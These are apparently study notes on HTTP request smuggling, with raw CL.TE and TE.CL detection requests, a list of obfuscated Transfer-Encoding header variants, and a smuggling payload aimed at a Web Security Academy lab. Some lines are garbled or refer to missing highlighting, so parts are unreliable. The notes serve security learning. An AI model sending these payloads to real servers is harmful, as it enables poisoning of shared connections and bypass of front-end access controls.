HTTP Request Smuggling

For HTTP request smuggling to work the following headers need to be set: Content-Length: X Content-Length: X Content-Type: application/x-www-form-urlencoded

If dual Content-Length: X is not accepted, instead use chunked encoding by adding the following header (with one content-length):

Transfer-Encoding: chunked

In a chunked message, the body consists of 0 or more chunks. Each chunk consists of the chunk size, followed by a newline (\r\n), followed by the chunk contents

Also, when the Transfer-Encoding == 'chunked', it will stop processing the request at a '0'

If it's the back-end that doesn't support chunked encoding, we'll need to flip the offsets around:

POST / HTTP/1.1
Host: example.com
Content-Length: 3
Transfer-Encoding: chunked

6
PREFIX
0

POST / HTTP/1.1

Other Transfer-Encoding: chunked bypasses include (note the space before):

Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked

GET / HTTP/1.1
 Transfer-Encoding: chunked

X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
 : chunked 

CT.0:

CL.TE:

For Content Length Transfer Encoding we need the following headers (content length needs to be what is sent before the second chunk):

Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

We can detect potential request smuggling by sending the following request:

POST /about HTTP/1.1
Host: example.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
Z
Q

Thanks to the short Content-Length, the front end will forward the blue text only, and the back end will time out while waiting for the next chunk size. This will cause an observable time delay.

If both servers are in sync (TE.TE or CL.CL), the request will either be rejected by the front-end or harmlessly processed by both systems. Finally, if the desync occurs the other way around (TE.CL) the front-end will reject the message without ever forwarding it to the back-end, thanks to the invalid chunk size 'Q'. This prevents the back-end socket from being poisoned.

TE.CL:

Specifically to exploit Transfer Encoding Content Length you request the content Length to be less than the data sent.

The content type needs to be less than the command (turn off auto-update in burp repeater). The first request requires the following headers: Transfer-Encoding: chunked Content-Type: application/x-www-form-urlencoded

The second (smuggled) request needs to have the following: Content-Length: X Content-Type: application/x-www-form-urlencode

We can safely detect TE.CL desync using the following request:

POST /about HTTP/1.1
Host: example.com
Transfer-Encoding: chunked
Content-Length: 6

0

X

Thanks to the terminating '0' chunk the front-end will only forward the blue text, and the back-end will time out waiting for the X to arrive.

POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked

5e
POST /404 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

Last updated